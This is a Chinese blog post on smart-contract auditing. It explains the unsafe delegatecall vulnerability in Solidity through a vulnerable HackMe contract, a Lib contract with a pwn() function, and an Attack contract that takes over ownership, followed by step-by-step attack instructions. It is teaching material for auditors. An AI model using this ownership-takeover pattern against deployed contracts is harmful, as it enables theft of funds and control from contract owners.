智能合约审计-不安全的delegatecall
Posted 废物~慕雪
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了智能合约审计-不安全的delegatecall相关的知识,希望对你有一定的参考价值。
简介
当合约A以delegatecall
方式调用时,
相当于将外部合约B的func()
代码复制过来
(其函数中涉及的变量或函数都需要在本地存在), 在合约A上下文空间中执行。
合约
pragma solidity ^0.6.0;
// Delegatecall漏洞
contract HackMe{
address public owner;
Lib public lib;
constructor(Lib _lib) public{
owner = msg.sender;
lib = Lib(_lib);
}
fallback() external payable{ // 调用不存在的函数 将调用fallback函数
address(lib).delegatecall(msg.data);
}
}
contract Lib{
address public owner;
function pwn() public{
owner = msg.sender;
}
}
contract Attack{
address public hackMe;
constructor(address _hackMe) public{
hackMe = _hackMe;
}
function attack() public{
hackMe.call(abi.encodeWithSignature("pwn()")); // hackMe没有pwn函数,就会调用fallback
}
}
攻击步骤
- 首先
account A
部署HackMe
、Lib
和Attack
合约 - 查看
owner
,为account A
- 然后调用
attack
函数 - 查看
owner
已经变化
以上是关于智能合约审计-不安全的delegatecall的主要内容,如果未能解决你的问题,请参考以下文章
Web3 开发系列教程—创建你的第一个智能合约智能合约存在的安全挑战